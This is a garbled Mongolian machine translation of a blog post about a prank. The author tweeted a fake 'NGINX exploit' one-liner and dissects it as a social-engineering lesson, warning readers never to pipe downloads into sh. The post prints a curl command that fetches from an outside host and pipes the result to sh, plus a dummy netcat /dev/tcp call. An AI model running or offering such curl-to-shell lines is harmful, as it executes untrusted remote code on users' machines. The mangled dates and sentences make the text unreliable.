Анхаарна уу. орчуулга.:
TL; DR: Ямар ч тохиолдолд sh эсвэл bash-д файл дамжуулахыг бүү ашиглаарай. Энэ бол таны компьютерийн хяналтыг алдах гайхалтай арга юм.
Би та бүхэнтэй 31-р сарын XNUMX-нд бүтээгдсэн комик PoC-ийн ашиглалтын тухай богино түүхийг хуваалцахыг хүсч байна. Тэрээр ирсэн мэдээний хариуд тэр даруй гарч ирэв
Curl-ийн шинэ бүдүүлэг техник дээр ажиллаж дуусаад би анхны жиргээнээс иш татаж, илрүүлсэн эмзэг байдлыг ашигласан гэж үздэг нэг мөр кодоос бүрдэх "ажиллаж буй PoC-г задруулсан". Мэдээжийн хэрэг, энэ нь бүрэн утгагүй зүйл байсан. Би шууд л илчлэгдэж, сайндаа л хэд хэдэн удаа retweet авах болно гэж бодсон (за яахав).
Гэсэн хэдий ч би дараа нь юу болсныг төсөөлж ч чадсангүй. Миний жиргээний нэр хүнд огцом өссөн. Гайхалтай нь одоогоор (Москвагийн цагаар 15-р сарын 00-ний 1:XNUMX цагт) энэ нь хуурамч гэдгийг цөөн хүн ойлгосон байна. Олон хүмүүс үүнийг огт шалгахгүйгээр дахин жиргэдэг (түүний гаргаж буй гайхалтай ASCII графикийг биширдэг).
Энэ нь ямар үзэсгэлэнтэй болохыг хар л даа!
Эдгээр бүх гогцоо, өнгө нь гайхалтай боловч хүмүүс үүнийг харахын тулд машин дээрээ код ажиллуулах шаардлагатай байсан нь ойлгомжтой. Аз болоход хөтчүүд адилхан ажилладаг бөгөөд би хууль эрх зүйн асуудалд орохыг үнэхээр хүсээгүйгээс гадна миний сайтад булагдсан код нь ямар нэгэн нэмэлт код суулгах, ажиллуулах оролдлогогүйгээр зүгээр л цуурай дуудлагыг хийж байсан.
Жижиг хазайлт:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Нийгэм-цахим инженерчлэл (SEE) - зүгээр л фишинг хийхээс илүү
Аюулгүй байдал, танил тал нь энэ туршилтын гол хэсэг байсан. Тэд түүнийг амжилтанд хүргэсэн гэж би боддог. Тушаалын мөр нь "127.0.0.1" (алдартай localhost)-ыг иш татсанаар аюулгүй байдлыг тодорхой илэрхийлсэн. Localhost нь аюулгүй гэж тооцогддог бөгөөд түүн дээрх өгөгдөл таны компьютерээс хэзээ ч гарахгүй.
Туршилтын хоёр дахь гол SEE бүрэлдэхүүн хэсэг нь танил байсан. Зорилтот үзэгчид нь үндсэндээ компьютерийн аюулгүй байдлын үндсийг мэддэг хүмүүсээс бүрддэг тул зарим хэсэг нь танил, танил (тиймээс аюулгүй) мэт санагдахын тулд код үүсгэх нь чухал байв. Хуучин мөлжлөгийн үзэл баримтлалын элементүүдийг зээлж, тэдгээрийг ер бусын байдлаар нэгтгэх нь маш амжилттай болох нь батлагдсан.
Доорх нь нэг давхаргын нарийвчилсан дүн шинжилгээ юм. Энэ жагсаалтад байгаа бүх зүйл өмсдөг гоо сайхны шинж чанар, мөн түүний бодит үйл ажиллагаанд бараг юу ч шаардлагагүй.
Ямар бүрэлдэхүүн хэсгүүд үнэхээр шаардлагатай вэ? Энэ -gsS
, -O 0x0238f06a
, |sh
вэб сервер өөрөө. Вэб сервер нь ямар ч хор хөнөөлтэй заавар агуулаагүй бөгөөд зүгээр л тушаалуудыг ашиглан ASCII графикт үйлчилдэг echo
агуулагдсан скриптэд index.html
. Хэрэглэгч нь мөр оруулах үед |sh
дунд нь, index.html
ачаалж гүйцэтгэсэн. Аз болоход вэб серверийн асран хамгаалагчид ямар ч муу санаа байгаагүй.
-
../../../%00
— лавлахаас цааш гарахыг илэрхийлнэ; -
ngx_stream_module.so
- санамсаргүй NGINX модулийн зам; -
/bin/sh%00<'protocol:TCP'
- Бид хөөргөх гэж байна/bin/sh
зорилтот машин дээр гаралтыг TCP суваг руу дахин чиглүүлэх; -
-O 0x0238f06a#PLToffset
- нууц найрлага, нэмэлт#PLToffset
, PLT-д ямар нэгэн байдлаар агуулагдах санах ойн офсет шиг харагдах; -
|sh;
- өөр нэг чухал хэсэг. Довтолгоонд байгаа довтолж буй вэб серверээс ирж буй кодыг ажиллуулахын тулд бид гаралтыг sh/bash руу шилжүүлэх шаардлагатай болсон.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat-д хамаарах дамми/dev/tcp/localhost
Ингэснээр бүх зүйл дахин аюулгүй харагдаж байна. Үнэн хэрэгтээ энэ нь юу ч хийдэггүй бөгөөд гоо сайхны шугамд багтдаг.
Үүгээр нэг мөрт скриптийн кодыг тайлж, "нийгэм-цахим инженерчлэл" (нарийн төвөгтэй фишинг) -ийн асуудлуудын талаар ярилцаж байна.
Вэб серверийн тохиргоо ба эсрэг арга хэмжээ
Миний захиалагчдын дийлэнх нь infosec/хакерууд байдаг тул би залууст хийх зүйлтэй байхын тулд вэб серверийг тэдний зүгээс "сонирхлын" илэрхийлэлд бага зэрэг тэсвэртэй болгохоор шийдсэн (мөн энэ нь хөгжилтэй байх болно. тохируулах). Туршилт үргэлжилж байгаа тул би энд бүх бэрхшээлийг жагсаахгүй байна, гэхдээ серверийн хийдэг хэд хэдэн зүйл байна:
- Тодорхой нийгмийн сүлжээн дэх түгээх оролдлогыг идэвхтэй хянаж, хэрэглэгчийг холбоос дээр дарахад урамшуулахын тулд янз бүрийн урьдчилан харах өнгөц зургийг орлуулдаг.
- Бүрхүүлийн скриптийг харуулахын оронд Chrome/Mozilla/Safari/etc-ийг Thugcrowd сурталчилгааны видео руу дахин чиглүүлдэг.
- Халдлага/илэрхий хакердсаны ИЛТ шинж тэмдгийг ажиглаж, дараа нь NSA серверүүд рүү хүсэлтийг дахин чиглүүлж эхэлдэг (га!).
- Хэрэглэгчид нь ердийн хөтчөөс хост руу зочилдог бүх компьютер дээр троян, мөн BIOS rootkit суулгадаг (зүгээр л тоглож байна!).
Антимеруудын багахан хэсэг
Энэ тохиолдолд миний цорын ганц зорилго бол Apache-ийн зарим шинж чанаруудыг, ялангуяа хүсэлтийг дахин чиглүүлэх гайхалтай дүрмийг эзэмших явдал байсан бөгөөд би яагаад болохгүй гэж?
NGINX Exploit (Бодит!)
Захиалах
Эх сурвалж: www.habr.com